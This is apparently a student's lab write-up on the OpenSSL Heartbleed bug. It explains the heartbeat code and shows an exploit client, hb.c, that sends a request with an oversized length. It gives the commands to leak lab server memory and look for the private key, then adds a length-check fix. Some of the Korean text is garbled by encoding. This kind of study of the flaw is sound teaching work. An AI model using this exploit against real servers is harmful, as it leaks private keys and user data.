Computer-Science

Heartbeat

1. ssl3_write_bytes

All ssl packets are written with ssl/s3_pkt.c/ssl3_write_bytes()

1) Sending HANDSHAKE

ssl/ssl_lib.c:SSL_connect(s)
=> ssl3_connect(s)
=> ssl3_client_hello(s)
=> ssl3_do_write(s, SSL3_RT_HANDSHAKE)
=> ssl3_write_bytes(s, SSL3_RT_HANDSHAKE, buf, len)  // 0x16

2) Sending APPLICATION_DATA

ssl/ssl_lib.c:SSL_write(s, buf, n)
=> ssl/s3_lib.c:ssl3_write(s, buf, n)
=> ssl3_write_bytes(s, SSL3_RT_APPLICATION_DATA, buf, n) // 0x17

3) Sending HEARTBEAT

ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, len)       // 0x18
00 0c 29 .........     ether header, IP header, TCP header
18 03 01 00 20     content type=0x18 (Heartbeat), version=0301(TLS 1.0), length=0x0020
d9 d2 1b .........     heartbeat message (encrypted). 01 ff ff (unencrypted)

When receiving HEARTBEAT packet, the server should echo with the same payload.

2. ssl3_read_bytes

SSL packets are read by ssl/s3_pkt.c/ssl3_read_bytes()

ssl3_read_bytes() responds to HB_REQUEST by echoing with the same payload. It calls ssl/t1_lib.c/tls1_process_heartbeat() for HEARTBEAT packets.

int tls1_process_heartbeat(SSL *s){
   unsigned char *p = &s->s3->rrec.data[0], *pl;
   unsinged short hbtype;     // message type
   unsigned int payload;       // payload length
   hbtype = *p++;        // read message type
   n2s(p, payload);        // read payload length. n2s is network to system for 2 bytes
   pl = p;                 // pl points to the beginning of payload
   if (hbtype == TLS1_HB_REQUEST){ // respond to heartbeat request
      unsigned char *buffer, *bp;
      buffer = OPENSSL_malloc(1+2+payload+padding);
      bp=buffer;
      *bp++=TLS1_HB_RESPONSE;   // write message type
      s2n(payload, bp);                // write payload length. s2n is system to network
      memcpy(bp, pl, payload);         // echo the same payload
      .....
      ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...);  // and send it back
   }
}

3. Heartbleed attack

By setting payload length to 0xffff, we can read 0xffff bytes of memory in the SSL server.

hb.c :

.............
void *heartbleed(connection *c, unsigned int type){
// type is 1. send heartbeat
   unsigned char *buf, *p;
   buf=OPENSSL_malloc(1+2); // for message type and length
   p=buf;
   *p++=TLS1_HB_REQUEST; // heartbeat request
   // now fill in length field
   switch (type){
      case 0:
         s2n(0x0, p);
         break;
      case 1:
         s2n(0xffff, p);  // this is our case. set length=0xffff
         break;
      default:
         s2n(type, p);   // the user can specify the length
         break;
   }
   // now send
   ret=ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
   OPENSSL_free(buf);
   return c;
}

4. Attack scenario

run hb (the attacker)
=> send HEARTBEAT packet with
        message type= TLS1_HB_REQUEST
        payload length=0xffff

=> SSL server receives this packet, stores in s->s3->rrec->data[], and calls tls1_process_heartbeat(SSL *s)
        s->s3->rrec->data:
            data[0]: TLS1_HB_REQUEST
            data[1],data[2]: 0xffff

=> tsl1_process_heartbeat tries to echo the payload data in rrec->data by the amount indicated in data[1] and data[2]. It assumes the payload data starts at rrec->data[3].
      .................
      memcpy(bp, pl, payload);         // bp points to a response packet buffer
                                       // pl points to rrec->data[3]. payload=0xffff
                                       // copy 0xffff bytes from rrec->data[3] into buffer
      ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...);  // and send to the attacker

=> the attacker receives 0xffff bytes of the server memory starting at rrec->data[3]

5. Homework

1) Try hb.c.

$ cp ../../hb.c .

Move hb.c to openssl-1.0.1f/demos/ssl/ directory and compile.

$ gcc  -L/home/sec11/12181879/openssl/lib  -I/home/sec11/12181879/openssl/include  -o  hb hb.c -lssl -lcrypto -ldl

Run server and hb.

$ ./serv

In another window

$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1

The result should be in file out. See out with xxd and find the server certificate information.

$ xxd out > xo
$ vi xo

๋Œ€๋žต 0x004610๋ถ€ํ„ฐ 0x004680๊นŒ์ง€ server certificate information์ด ์œ ์ถœ๋˜์—ˆ๋‹ค.

2) Modify hb.c

hb.c :

void * heartbleed(...){
   ........
   buf = OPENSSL_malloc(1+2+512);
   ...........
   switch(type){
           ..........
   }

   *p++='a'; *p++='b'; // 2 byte payload ("ab")
   ....
   ret = ssl3_write_bytes(...., buf, 3 + 2);
   .......
}

Recompile hb.c, run server, and run hb (in another window) with type 2.
(You have to remove old โ€œoutโ€ file before running hb.)

$ gcc  -L/home/sec11/12181879/openssl/lib  -I/home/sec11/12181879/openssl/include  -o  hb hb.c -lssl -lcrypto -ldl
$ ./serv
$ rm out
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 2

์„œ๋ฒ„๊ฐ€ out ํŒŒ์ผ์—์„œ โ€œabโ€๋ฅผ ์—์ฝ”(echo)ํ•œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

3-1) Draw the SSL packet generated in 1) and 2) respectively.

1)์€ heartbleed attack์œผ๋กœ 0xffff bytes๋ฅผ ์ฝ์–ด์˜ค๊ณ  2)๋Š” ์„ค์ •ํ•ด์ค€ payload 2 bytes์™€ padding data 16 bytes, ๋ถ€๊ฐ€ 3 bytes๊ฐ€ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์˜ค๊ฒŒ๋œ๋‹ค.

3-2) Explain why you have different result in 1) and 2) above by analyzing heartbleed() function in hb.c and tls1_process_heartbeat() function in ssl/t1_lib.c.

heartbleed() function in hb.c :

void* heartbleed(connection *c,unsigned int type){
        unsigned char *buf, *p;
        int ret;

        // Edit at 2022 11 16
        // buf = OPENSSL_malloc(1 + 2);
        buf = OPENSSL_malloc(1+2+512);

        if(buf==NULL){
                printf("[ error in malloc()\n");
                exit(0);
        }
        p = buf;
        *p++ = TLS1_HB_REQUEST;
        switch(type){
                case 0:
                        s2n(0x0,p);
                        break;
                case 1:
                        s2n(0xffff,p);
                        break;
                default:
                        printf("[ setting heartbeat payload_length to %u\n",type);
                        s2n(type,p);
                        break;
        }

        // Add at 2022 11 16
        *p++='a'; *p++='b'; // 2 byte payload ("ab")

        printf("[ <3 <3 <3 heart bleed <3 <3 <3\n");

        // Edit at 2022 11 16
        // ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3+2);

        OPENSSL_free(buf);
        return c;
}

tls1_process_heartbeat() function in ssl/t1_lib.c:

int tls1_process_heartbeat(SSL *s)
{
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16; /* Use minimum padding */

    /* Read type and payload length first */
    hbtype = *p++;
    n2s(p, payload);
    pl = p;

    if (s->msg_callback)
        s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                        &s->s3->rrec.data[0], s->s3->rrec.length,
                        s, s->msg_callback_arg);

    if (hbtype == TLS1_HB_REQUEST)
    {
        unsigned char *buffer, *bp;
        int r;

        /* Allocate memory for the response, size is 1 bytes
         * message type, plus 2 bytes payload length, plus
         * payload, plus padding
         */
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);
        bp = buffer;

        /* Enter response type, length and copy payload */
        *bp++ = TLS1_HB_RESPONSE;
        s2n(payload, bp);
        memcpy(bp, pl, payload);
        bp += payload;
        /* Random padding */
        RAND_pseudo_bytes(bp, padding);

        r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

        if (r >= 0 && s->msg_callback)
            s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
                            buffer, 3 + payload + padding,
                            s, s->msg_callback_arg);

        OPENSSL_free(buffer);

        if (r < 0)
            return r;
    }
    else if (hbtype == TLS1_HB_RESPONSE)
    {
        unsigned int seq;

        /* We only send sequence numbers (2 bytes unsigned int),
         * and 16 random bytes, so we just try to read the
         * sequence number */
        n2s(pl, seq);

        if (payload == 18 && seq == s->tlsext_hb_seq)
        {
            s->tlsext_hb_seq++;
            s->tlsext_hb_pending = 0;
        }
    }

    return 0;
}

rrec.data์— ์š”์ฒญ๋ฐ›์€ heartbeat request message๊ฐ€ ์ €์žฅ๋œ๋‹ค.
p๋Š” rrec.data์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค.

if๋ฌธ์— ๋“ค์–ด๊ฐ€๊ณ  memcpy๋ฅผ ํ†ตํ•ด buffer์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” bp๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.
buffer์— TLS1_HB_RESPONSE๋ฅผ ์ €์žฅํ•˜๊ณ  bp๋ฅผ 1byte ์ด๋™์‹œ์ผœ payload์˜ ๊ธธ์ด๋ฅผ ์ €์žฅํ•œ๋‹ค.
๊ทธํ›„ bp๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์— payload๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ pl๋กœ๋ถ€ํ„ฐ payload ๊ธธ์ด๋งŒํผ ๋ณต์‚ฌํ•œ๋‹ค.
bp๋ฅผ payload ๊ธธ์ด๋งŒํผ ์ด๋™์‹œํ‚จ ํ›„, padding ๊ฐ’์„ ๋”ํ•œ๋‹ค.
์—ฌ๊ธฐ์„œ type์„ 1๋กœ ์ฃผ๋ฉด cli๊ฐ€ 0xffff๊ธธ์ด์˜ payload๋ฅผ ์š”๊ตฌํ•˜๋ฉด์„œ serv์˜ ์˜ˆ๋ฏผํ•œ ์ •๋ณด๊นŒ์ง€ ์œ ์ถœ๋˜๊ณ ,
2)๋Š” type์„ default๋กœ ์ฃผ๊ณ  payload๋„ 2bytes๋กœ ์ฃผ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋ฒ„์˜ ์ •๋ณด๊ฐ€ ์œ ์ถœ๋˜์ง€ ์•Š๊ฒŒ ๋œ๋‹ค.

4) Modify ssl source such as follows so that it displays server private key and its memory location.

4.1) openssl-1.0.1f/include/openssl/ssl.h

Add BN_ULONG * print_server_priv_key(const SSL_CTX *ctx); after C linkage reference as below

    .................
    #ifdef __cplusplus
    extern "C" {
    #endif

    BN_ULONG * print_server_priv_key(const SSL_CTX *ctx);
    .....................

4.2) openssl-1.0.1f/ssl/s3_srvr.c

Define print_server_priv_key() here

void print_key(unsigned char *pkey){
   int i;
   for(i=0;i<128;i++){ // assume 1024 bit private
      printf("%2x:",pkey[i]);
      if ((i+1)%15==0) printf("\n");
   }
   printf("\n");
}
BN_ULONG *print_server_priv_key(const SSL_CTX *ctx){ // refer to lect12
   CERT *ct=ctx->cert;
   EVP_PKEY *epkey=ct->key->privatekey;
   BN_ULONG *priv=epkey->pkey.rsa->d->d;
   unsigned char *pkey=(unsigned char *)priv;
   print_key(pkey);
   return pkey;
}

4.3) Call this function in openssl-1.0.1f/demos/ssl/serv.cpp after SSL_CTX_check_private_key function call.

if (!SSL_CTX_check_private_key(ctx)){
   .................
}

BN_ULONG *pkey=print_server_priv_key(ctx);
printf("private key location:%p\n", pkey);

์ˆ˜์ • ํ›„์— ์žฌ์„ค์น˜ ๋ฐ recompile ํ•œ๋‹ค.

$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl

4.4) What is the memory address of the serverโ€™s private key? Check whether this server private key is correct. It should match privateExponent in servkey.txt (generated as in below) in reverse order.

$ ./serv
# open a new terminal and compare with another terminal
$ openssl rsa -in servkey.pem -text -out servkey.txt

server์˜ private key ์ฃผ์†Œ๋Š” 0xcb00e0์ด๋‹ค. server ์‹คํ–‰ ์‹œ ์ถœ๋ ฅ๋˜๋Š” private key์™€ servkey.txt์˜ privateExponent์— ์žˆ๋Š” key ๊ฐ’์ด ์—ญ์ˆœ์ด์ง€๋งŒ ๋‚ด์šฉ์€ ์ผ์น˜ํ–ˆ๋‹ค.

5) Perform Heartbleed attack as follows to obtain the serverโ€™s private key. We know the memory location of the serverโ€™s private key. We check whether the leaked memory can contain this address. To find out this, we modify the kernel such that it displays the leaking memory address.

5.1) Modify ssl/t1_lib.c/tls1_process_heartbeat() to display the leaking memory address.

      ...........
      if (hbtype==TLS1_HB_REQUEST){ // heartbeat packet is processed here
         .............
         printf("leaking mem addr:%p\n", pl);
         memcpy(bp, pl, payload);
         .............
      }

์ˆ˜์ • ํ›„์— ์žฌ์„ค์น˜ ๋ฐ recompile ํ•œ๋‹ค.

$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o cli cli.cpp -lssl -lcrypto -ldl

5.2) Run server and hb.

$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1

The system will show the leaking memory location and the contents. If the leaking address is lower than server private key location and the distance is less than 65535, the dumped output will contain the server private key.

heartbleed attack์— ์˜ํ•ด ์œ ์ถœ๋˜๋Š” ์ •๋ณด์˜ ์œ„์น˜์ธ 0x26660e0๋ถ€ํ„ฐ 0xffff ์ดํ›„๊นŒ์ง€์ธ๋ฐ private key์˜ ์œ„์น˜๋Š” 0x266df63์œผ๋กœ ์ด์ „ ์œ„์น˜์ด๋‹ค. ๋”ฐ๋ผ์„œ ์ด ๊ฒฝ์šฐ private key๊ฐ€ ์œ ์ถœ๋˜์ง€ ์•Š๋Š”๋‹ค.

6) How can you fix SSL to prevent Heartbleed attack?

Heartbleed attack์„ ๋ฐฉ์ง€ํ•˜์—ฌ ์ •๋ณด ์œ ์ถœ์„ ๋ง‰๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผํ•œ๋‹ค.

3-2)๋ฒˆ์—์„œ payload๊ฐ€ ๋น„์–ด์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์ง€ ์•Š์•˜๋˜ ๊ฒƒ์ด ๋ฌธ์ œ์ด๋‹ค.

payload์˜ ๊ธธ์ด๋งŒ ๋ณด์ง€ ์•Š๊ณ , 1๊ฐ€ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์ด ํ•„์š”ํ•˜๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์•„๋ž˜์™€ ๊ฐ™์ด payload๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์„ ์ถ”๊ฐ€ํ•˜์˜€๋‹ค.

tls1_process_heartbeat() function in ssl/t1_lib.c:

int tls1_process_heartbeat(SSL *s)
{
    ......

    if (hbtype == TLS1_HB_REQUEST)
    {
        ......

        /* Enter response type, length and copy payload */
        *bp++ = TLS1_HB_RESPONSE;
        s2n(payload, bp);
        printf("leaking mem addr:%p\n", pl);

        if (1+2+payload != s->s3->rrec.length)
        {
            printf("heartbleed attack\n");
            exit(0);
        }

        memcpy(bp, pl, payload);
        bp += payload;
        ......

    }
    else if (hbtype == TLS1_HB_RESPONSE)
    {
        ......
    }

    return 0;
}

payload ๋ณ€์ˆ˜์— 1+2๋ฅผ ๋”ํ•œ ๋’ค์— ๊ธธ์ด์™€ ๊ฐ’์ด ์‹ค์ œ ๊ธธ์ด rrec.length์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ๊ฐ•์ œ๋กœ ์ข…๋ฃŒํ•˜๋„๋ก ํ•˜์˜€๋‹ค.

์ˆ˜์ • ํ›„์— ์žฌ์„ค์น˜ ๋ฐ recompile ํ•œ๋‹ค.

$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl

์ˆ˜์ • ํ›„์— ์žฌ์„ค์น˜ ๋ฐ recompile ํ•˜๊ณ , server์™€ hb๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1

hb๋ฅผ ์‹คํ–‰ํ•  ๋•Œ, 1๋ฒˆ ์ฆ‰ 0xffff๋ฅผ ์ „๋‹ฌํ•˜๋ฉด heart bleed์ด๋ฏ€๋กœ ์ข…๋ฃŒ๋˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 2

๊ธธ์ด์— ๋งž๊ฒŒ 2๋ฒˆ์œผ๋กœ ํ†ต์‹ ํ•˜๋ฉด ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.